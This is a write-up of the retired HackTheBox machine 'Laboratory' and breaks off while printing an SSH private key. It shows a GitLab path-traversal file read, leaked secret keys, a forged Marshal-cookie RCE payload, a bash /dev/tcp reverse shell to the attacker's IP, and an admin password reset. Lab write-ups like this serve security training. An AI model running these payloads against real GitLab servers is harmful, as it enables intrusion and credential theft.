Writeup: HackTheBox Laboratory Machine
Note: Only write-ups of retired HTB machines are allowed. The machine in this article, named Laboratory, is retired.1. TLDR
2. Preparation
I have prepared some useful variables:
export IP=10.10.10.216
3. Scanning and Reconnaissance
At first, I applied the nmap tool to identify open ports:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $nmap -sC -sV -Pn -n $IP -T4 -oN nmap/01-initial.txt
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-02 15:25 CET
Nmap scan report for 10.10.10.216
Host is up (0.043s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 25:ba:64:8f:79:9d:5d:95:97:2c:1b:b2:5e:9b:55:0d (RSA)
| 256 28:00:89:05:55:f9:a2:ea:3c:7d:70:ea:4d:ea:60:0f (ECDSA)
|_ 256 77:20:ff:e9:46:c0:68:92:1a:0b:21:29:d1:53:aa:87 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to https://laboratory.htb/
443/tcp open ssl/http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: The Laboratory
| ssl-cert: Subject: commonName=laboratory.htb
| Subject Alternative Name: DNS:git.laboratory.htb
| Not valid before: 2020-07-05T10:39:28
|_Not valid after: 2024-03-03T10:39:28
| tls-alpn:
|_ http/1.1
Service Info: Host: laboratory.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.10 seconds
A scan with the nmap tool revealed a running http service on ports 80 and 443 and ssh.
I also immediately added an entry to /etc/hosts
:
10.10.10.216 laboratory.htb
The service on port 80 was redirecting the browser to port 443. I tried to use the browser and test the HTTP server. The machine was hosting the website of a company in the fitness industry:
A quick review of the page source to reveal the useful comments left behind was to no avail. So I launched the gobuster tool:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $gobuster dir -u https://laboratory.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | tee gobuster/01-initial.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: https://laboratory.htb
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/12/02 15:51:19 Starting gobuster
===============================================================
Error: error on running goubster: unable to connect to https://laboratory.htb/: invalid certificate: x509: certificate is valid for git.laboratory.htb, not laboratory.htb
There was an error due to an incorrect certificate that was valid for git.laboratory.htb. So I corrected the entry in /etc/hosts
:
10.10.10.216 laboratory.htb git.laboratory.htb
I then visited https://git.laboratory.htb
.
So there was a Gitlab instance on the server. So I registered an account:
I was under the illusion that I would find a repository of the lab site project. Unfortunately, nothing of the sort, there was not a single project on the portal.
Disclaimer: At a later stage, it turned out that I had simply missed the design of the lab, but this had no effect on the solution.
So I checked the Gitlab version:
4. Gaining access
I searched the exploit-db database to identify possible vulnerabilities in GitLab:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $searchsploit gitlab | grep 12
GitLab 12.9.0 - Arbitrary File Read | ruby/webapps/48431.txt
There was an Arbitary File Read vulnerability in a similar version, which I decided to try to exploit.
The exploit turned out to be Python code. Unfortunately, I had trouble exploiting it due to incorrect authentication handling. So I decided to analyze the exploit code and exploit the vulnerability manually.
In short: the exploitation of the vulnerability consists in transferring between projects an ‘issue’ whose description contains a string referring to a file. An example of such a description is:
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd)
Keeping the names used in the explorer, I set up two projects: project_01
and project_02
.
Then in project_01
, I created an issue
:
I saved it, opened it and moved it to the project_02
project:
After the transfer, a link to download the /etc/passwd
file appeared in the issue description:
So I downloaded the file and suspected its contents:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $cat passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh
In this way, I revealed the path to the Gitlab installation directory on the server:
/var/opt/gitlab
I then looked through GitLab’s documentation on configuration. There I found a page of interest to me with information relating to stored secrets and keys.
I downloaded the protected data file by repeating the steps leading to the exploitation of the vulnerability and referring to the path /var/opt/gitlab/gitlab-rails/etc/secrets.yml
. In the body of the description of the new issue I stated:
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../
../../../var/opt/gitlab/gitlab-rails/etc/secrets.yml)
The contents of the downloaded file secrets.yml
:
production:
db_key_base: 627773a77f567a5853a5c6652018f3f6e41d04aa53ed1e0df33c66b04ef0c38b88f402e0e73ba7676e93f1e54e425f74d59528fb35b170a1b9d5ce620bc11838
secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3
otp_key_base: db3432d6fa4c43e68bf7024f3c92fea4eeea1f6be1e6ebd6bb6e40e930f0933068810311dc9f0ec78196faa69e0aac01171d62f4e225d61e0b84263903fd06af
openid_connect_signing_key: |
-----BEGIN RSA PRIVATE KEY-----
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
-----END RSA PRIVATE KEY----
With a theoretically powerful tool in hand, I searched further through the GitLab documentation to find the possibility of using hidden parameters. Finally, I found on the web, on the project’s hackerone page, a report of this bug…. There was also entry in the thread describing the possible use of the bug as an RCE.
I added the entry to /etc/hosts
:
127.0.0.1 gitlab.whitehatlab.com
I downloaded docker image and ran it:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $sudo docker pull gitlab/gitlab-ce:12.8.1-ce.0
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $export GITLAB_HOME=/srv/gitlab
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $sudo docker run --detach \
--hostname gitlab.whitehatlab.com \
--publish 443:443 --publish 80:80 \
--name gitlab \
--restart always \
--volume $GITLAB_HOME/config:/etc/gitlab \
--volume $GITLAB_HOME/logs:/var/log/gitlab \
--volume $GITLAB_HOME/data:/var/opt/gitlab \
gitlab/gitlab-ce:12.8.1-ce.0
I then entered the running container:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $sudo docker container ls
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
1ed4b0925fc6 gitlab/gitlab-ce:12.8.1-ce.0 "/assets/wrapper" 4 minutes ago Up 4 minutes (healthy) 0.0.0.0:80->80/tcp, 22/tcp, 0.0.0.0:443->443/tcp gitlab
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $sudo docker exec -it 1ed4b0925fc6 /bin/bash
In the default secrets.yml file, I found a tip on how to properly change its compactness:
root@gitlab:/var/opt/gitlab/gitlab-rails/etc# head -n 3 secrets.yml
# This file is managed by gitlab-ctl. Manual changes will be
# erased! To change the contents below, edit /etc/gitlab/gitlab.rb
# and run `sudo gitlab-ctl reconfigure`.
So in the first file /etc/gitlab/gitlab.rb
I added secret_key_base:
root@gitlab:/var/opt/gitlab/gitlab-rails/etc# head -n 1 /etc/gitlab/gitlab.rb
gitlab_rails['secret_key_base'] = '3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3'
a następnie zgodnie z instrukcją uruchomiłem polecenie
root@gitlab:/var/opt/gitlab/gitlab-rails/etc# gitlab-ctl reconfigure
After the reconfiguration was completed, a changed version of secret_key_base could be observed:
root@gitlab:/var/opt/gitlab/gitlab-rails/etc# grep secret_key_base secrets.yml
secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3
I run rails console:
root@gitlab:/var/opt/gitlab/gitlab-rails/etc# gitlab-rails console
--------------------------------------------------------------------------------
Ruby: ruby 2.7.2p137 (2020-10-01 revision 5445e04352) [x86_64-linux]
GitLab: 13.6.1 (1b6a590b197) FOSS
GitLab Shell: 13.13.0
PostgreSQL: 11.9
--------------------------------------------------------------------------------
Loading production environment (Rails 6.0.3.3)
irb(main):001:0>
I then executed a script that leads to writing the setsid bash -i >& /dev/tcp/10.10.14.31/4444 0>&1
command encoded in base64 to the /dev/shm/74wny0wl.sh
file:
request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `echo 'setsid bash -i >& /dev/tcp/10.10.14.31/4444 0>&1' > /dev/shm/74wny0wl.sh` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]
An error occurred during the execution of the script:
sh: 1: Syntax error: Bad fd number
I fixed it by following the instructions:
root@gitlab:/var/opt/gitlab/gitlab-rails/etc# mv /bin/sh /bin/sh.orig
root@gitlab:/var/opt/gitlab/gitlab-rails/etc# ln -s /bin/bash /bin/sh
After re-executing the script, a cake was written out:
irb(main):007:0> puts cookies[:cookie]
BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiAYsjY29kaW5nOlVURi04Cl9lcmJvdXQgPSArJyc7IF9lcmJvdXQuPDwoKCBgZWNobyAnc2V0c2lkIGJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMzEvNDQ0NCAwPiYxJyA+IC9kZXYvc2htLzc0d255MHdsLnNoYCApLnRvX3MpOyBfZXJib3V0BjoGRUY6DkBlbmNvZGluZ0l1Og1FbmNvZGluZwpVVEYtOAY7CkY6E0Bmcm96ZW5fc3RyaW5nMDoOQGZpbGVuYW1lMDoMQGxpbmVub2kAOgxAbWV0aG9kOgtyZXN1bHQ6CUB2YXJJIgxAcmVzdWx0BjsKVDoQQGRlcHJlY2F0b3JJdTofQWN0aXZlU3VwcG9ydDo6RGVwcmVjYXRpb24ABjsKVA==--e7741536e8a462197facb2766e5e887ebc5fbe22
In order to avoid cookie parsing errors, I encoded the value using the CyberChef tool (URL Encode). The result of the encoding was a string:
BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiAYsjY29kaW5nOlVURi04Cl9lcmJvdXQgPSArJyc7IF9lcmJvdXQuPDwoKCBgZWNobyAnc2V0c2lkIGJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMzEvNDQ0NCAwPiYxJyA%2BIC9kZXYvc2htLzc0d255MHdsLnNoYCApLnRvX3MpOyBfZXJib3V0BjoGRUY6DkBlbmNvZGluZ0l1Og1FbmNvZGluZwpVVEYtOAY7CkY6E0Bmcm96ZW5fc3RyaW5nMDoOQGZpbGVuYW1lMDoMQGxpbmVub2kAOgxAbWV0aG9kOgtyZXN1bHQ6CUB2YXJJIgxAcmVzdWx0BjsKVDoQQGRlcHJlY2F0b3JJdTofQWN0aXZlU3VwcG9ydDo6RGVwcmVjYXRpb24ABjsKVA%3D%3D%2D%2De7741536e8a462197facb2766e5e887ebc5fbe22
I then sent a request that saved the /dev/shm/74wny0wl.sh file:
curl -vvv -k 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiAYsjY29kaW5nOlVURi04Cl9lcmJvdXQgPSArJyc7IF9lcmJvdXQuPDwoKCBgZWNobyAnc2V0c2lkIGJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMzEvNDQ0NCAwPiYxJyA%2BIC9kZXYvc2htLzc0d255MHdsLnNoYCApLnRvX3MpOyBfZXJib3V0BjoGRUY6DkBlbmNvZGluZ0l1Og1FbmNvZGluZwpVVEYtOAY7CkY6E0Bmcm96ZW5fc3RyaW5nMDoOQGZpbGVuYW1lMDoMQGxpbmVub2kAOgxAbWV0aG9kOgtyZXN1bHQ6CUB2YXJJIgxAcmVzdWx0BjsKVDoQQGRlcHJlY2F0b3JJdTofQWN0aXZlU3VwcG9ydDo6RGVwcmVjYXRpb24ABjsKVA%3D%3D%2D%2De7741536e8a462197facb2766e5e887ebc5fbe22"
I then prepared a script that would produce a cookie that would run the uploaded file:
request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `bash /dev/shm/74wny0wl.sh` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]
The cookie produced is:
BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiWyNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBiYXNoIC9kZXYvc2htLzc0d255MHdsLnNoYCApLnRvX3MpOyBfZXJib3V0BjoGRUY6DkBlbmNvZGluZ0l1Og1FbmNvZGluZwpVVEYtOAY7CkY6E0Bmcm96ZW5fc3RyaW5nMDoOQGZpbGVuYW1lMDoMQGxpbmVub2kAOgxAbWV0aG9kOgtyZXN1bHQ6CUB2YXJJIgxAcmVzdWx0BjsKVDoQQGRlcHJlY2F0b3JJdTofQWN0aXZlU3VwcG9ydDo6RGVwcmVjYXRpb24ABjsKVA==--08db0e7791087f8ede41d1558efbb024e0d93d9b
and after encoding in CyberChef (URL Encode):
BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiWyNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBiYXNoIC9kZXYvc2htLzc0d255MHdsLnNoYCApLnRvX3MpOyBfZXJib3V0BjoGRUY6DkBlbmNvZGluZ0l1Og1FbmNvZGluZwpVVEYtOAY7CkY6E0Bmcm96ZW5fc3RyaW5nMDoOQGZpbGVuYW1lMDoMQGxpbmVub2kAOgxAbWV0aG9kOgtyZXN1bHQ6CUB2YXJJIgxAcmVzdWx0BjsKVDoQQGRlcHJlY2F0b3JJdTofQWN0aXZlU3VwcG9ydDo6RGVwcmVjYXRpb24ABjsKVA%3D%3D%2D%2D08db0e7791087f8ede41d1558efbb024e0d93d9b
So I launched the netcat tool:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $nc -nvlp 4444
listening on [any] 4444 ...
And I sent the request:
curl -vvv -k 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiWyNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBiYXNoIC9kZXYvc2htLzc0d255MHdsLnNoYCApLnRvX3MpOyBfZXJib3V0BjoGRUY6DkBlbmNvZGluZ0l1Og1FbmNvZGluZwpVVEYtOAY7CkY6E0Bmcm96ZW5fc3RyaW5nMDoOQGZpbGVuYW1lMDoMQGxpbmVub2kAOgxAbWV0aG9kOgtyZXN1bHQ6CUB2YXJJIgxAcmVzdWx0BjsKVDoQQGRlcHJlY2F0b3JJdTofQWN0aXZlU3VwcG9ydDo6RGVwcmVjYXRpb24ABjsKVA%3D%3D%2D%2D08db0e7791087f8ede41d1558efbb024e0d93d9b"
Thus the session was established:
┌─[✗]─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.31] from (UNKNOWN) [10.10.10.216] 60894
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
git@git:~/gitlab-rails/working$ id
id
uid=998(git) gid=998(git) groups=998(git)
git@git:~/gitlab-rails/working$
Disclaimer: I split the vulnerability exploration process into two parts, as I had trouble making a valid connection using a single cookie. Saving the file on the server, allowed me to diagnose the process using the Arbitrary File Read vulnerability.
5. Privilege Escalation: git ⇨ dexter
I performed a shell upgrade:
SHELL=/bin/bash script -q /dev/null
Ctrl-Z
stty raw -echo
fg
reset
xterm
I downloaded the linpeas.sh tool to the server:
git@git:/dev/shm$ wget http://10.10.14.31:8000/linpeas.sh
and launched them:
git@git:/dev/shm$ bash linpeas.sh
The standard output showed that I was in a Docker container:
[+] Is this a container? ........... Looks like we're in a Docker container
as well as information about a custom directory /assets
, in which I found no interesting artifacts.
Interestingly, there was also no subdirectory in the /home
directory.
[+] Readable files belonging to root and readable by me but not world readable
-rw-r----- 1 root git 988 Jul 2 18:01 /var/opt/gitlab/gitlab-shell/config.yml
-rw-r----- 1 root git 525 Jul 2 18:01 /var/opt/gitlab/gitlab-rails/etc/database.yml
-rw-r----- 1 root git 22583 Jul 2 18:01 /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
-rw-r----- 1 root git 781 Jul 2 18:01 /var/opt/gitlab/gitaly/config.toml
-rw-r----- 1 root git 70 Jul 2 18:02 /var/opt/gitlab/gitlab-workhorse/config.toml
Browsing through the GitLab documentation, I found information on how to here and here:
I therefore started the rails console
:
git@git:/assets$ gitlab-rails console
--------------------------------------------------------------------------------
GitLab: 12.8.1 (d18b43a5f5a) FOSS
GitLab Shell: 11.0.0
PostgreSQL: 10.12
--------------------------------------------------------------------------------
And I inquired about the administrators of GitLab:
irb(main):014:0> User.where(admin: true)
User.where(admin: true)
=> #<ActiveRecord::Relation [#<User id:1 @dexter>]>
So the GitLab administrator was the user dexter. I found a method to reset the administrator password here. So I executed the commands:
user = User.find_by_username('dexter')
=> #<User id:1 @dexter>
irb(main):021:0> user.password = 'secret_pass'
user.password = 'secret_pass'
=> "secret_pass"
irb(main):022:0> user.password_confirmation = 'secret_pass'
user.password_confirmation = 'secret_pass'
=> "secret_pass"
irb(main):023:0> user.save!
user.save!
Enqueued ActionMailer::DeliveryJob (Job ID: 7ca2489f-54a6-4886-93c8-152314c482c2) to Sidekiq(mailers) with arguments: "DeviseMailer", "password_change", "deliver_now", #<GlobalID:0x00007fad9482a7a0 @uri=#<URI::GID gid://gitlab/User/1>>
=> true
So I tried logging into GitLab as user dexter. After correct authentication, I was given access to two repositories:
My attention was immediately drawn to the repository SecureDocker
marked CONFIDENTIAL.
In the repository I found, among other things, the SSH public key:
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCxl8OPcBJ1vlhLczCOwPz7km+d6VSz7IjbtW4MPs/bWh1J81SAIK2hIT6/yw81oH/EXQJWpAe2eGdZ7qd3FdYfBvfhROh2rqDac6W+05D0hPFJ68NJwz9y0jqHjZ0UGGz7xxb25LE7CUVHhvvQT62/cEzdahaDCle+C4/a5kXhJQ1Yr/x2z1PFhboLVaQALxnbkzse0td/Va5dT/aOfDb1vODM7ikk+8wdTFdXA3zf2MBOBCU2nn25AMFSJxd7Can/klIus49BKQOsRgCckwHh/1E13JsLoS+ZeyBL1+jgsbKFIC4W1PU6OrI5jW7AsZakviNwPEqJ+4Iw8t/mClJAe/DR+rr+EXhKmoziJcMZjunnbB7Qp6TeE/QOpC0S+7EJrvCmfcjW0qw2ZqCdd2oHeQirloRsZIRJthMBS+HjmDDaCTSX7dOw7NZWjCxomrmQLIObjHR+DwF9w+SQp+KL0qc0qyd1cgfSuDRCWU+MAL9kaGyNZJEbj2s/Kh9diu8= root@laboratory
and private:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAsZfDj3ASdb5YS3MwjsD8+5JvnelUs+yI27VuDD7P21odSfNUgCCt
oSE+v8sPNaB/xF0CVqQHtnhnWe6ndxXWHwb34UTodq6g2nOlvtOQ9ITxSevDScM/ctI6h4
2dFBhs+8cW9uSxOwlFR4b70E+tv3BM3WoWgwpXvguP2uZF4SUNWK/8ds9TxYW6C1WkAC8Z
